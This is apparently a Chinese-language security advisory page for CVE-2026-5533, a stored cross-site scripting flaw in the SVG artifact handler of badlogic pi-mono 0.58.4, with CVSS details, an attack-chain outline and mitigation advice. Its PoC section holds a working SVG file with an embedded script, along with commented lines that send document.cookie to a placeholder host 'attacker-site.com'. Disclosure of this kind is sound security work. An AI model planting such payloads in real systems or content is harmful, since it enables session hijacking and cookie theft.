CVE-2026-5533 CVSS 4.3 中危

CVE-2026-5533 badlogic pi-mono 跨站脚本漏洞

披露日期: 2026-04-05

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-5533

漏洞类型

跨站脚本 (XSS)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

badlogic pi-mono

漏洞概述

badlogic pi-mono 0.58.4版本被发现存在一处跨站脚本（XSS）漏洞。该漏洞位于SVG Artifact Handler组件的`SvgArtifact.ts`文件中，由于对特定函数的处理不当，导致攻击者可进行恶意操纵。此漏洞支持远程利用，且无需身份认证，但需要用户交互。目前利用代码已公开，厂商尚未对披露做出响应，用户面临潜在的会话劫持和数据窃取风险。

技术细节

该漏洞位于`badlogic pi-mono`的SVG工件处理模块中，具体文件路径为`packages/web-ui/src/tools/artifacts/SvgArtifact.ts`。SVG（可缩放矢量图形）文件支持嵌入JavaScript代码，例如通过`<script>`标签或`onload`事件处理器。在受影响的版本中，系统在处理SVG文件时，未对用户输入的SVG内容进行充分的过滤和净化，直接将其渲染到DOM中。攻击者可以构造包含恶意JS代码的特制SVG文件，并通过漏洞点上传或引用。当受害者访问被注入的页面时，浏览器会解析SVG并执行其中的恶意脚本。由于CVSS向量显示UI:R（需要用户交互），攻击者通常需要通过社会工程学手段诱导受害者点击链接或访问特定页面。成功利用后，攻击者可获取受害者的Cookie、会话令牌等敏感信息，甚至在受害者的浏览器上下文中执行任意操作。

攻击链分析

STEP 1

1. 构造Payload

攻击者创建一个包含恶意JavaScript代码的特制SVG文件，利用SVG标签支持脚本的特性。

STEP 2

2. 传递Payload

攻击者将恶意SVG文件上传到目标系统的SVG Artifact Handler组件，或诱导用户访问包含该文件的链接。

STEP 3

3. 触发漏洞

受害者访问被注入的页面或查看该SVG文件时，应用程序未经过滤直接解析并渲染SVG内容。

STEP 4

4. 执行攻击

浏览器执行SVG内嵌的恶意脚本，攻击者借此窃取Session ID、Cookie等敏感信息或执行恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2026-5533: Stored XSS via SVG Artifact -->
<!-- Save this as .svg and upload it to the vulnerable component -->
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
  <script type="text/javascript">
    // XSS Payload Execution
    alert('CVE-2026-5533: XSS Vulnerability Detected!');
    
    // Example: Exfiltrate cookies
    // var img = new Image();
    // img.src = "http://attacker-site.com/steal?" + document.cookie;
    // document.body.appendChild(img);
  </script>
</svg>

影响范围

badlogic pi-mono 0.58.4

防御指南

临时缓解措施

建议在官方发布修复补丁前，暂时禁用受影响的SVG Artifact Handler功能或限制对该文件的访问权限。部署Web应用防火墙（WAF）以检测和拦截包含恶意脚本的SVG文件传输。同时，对已上传的文件进行人工或自动化审计，清除可能存在的恶意内容。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-5533
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-5533
3 Details https://www.cvedetails.com/cve/CVE-2026-5533/
4 VulDB https://vuldb.com/cve/CVE-2026-5533
5 Link https://github.com/August829/CVEP/issues/20
6 Link https://vuldb.com/submit/782170
7 Link https://vuldb.com/vuln/355286
8 Link https://vuldb.com/vuln/355286/cti

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表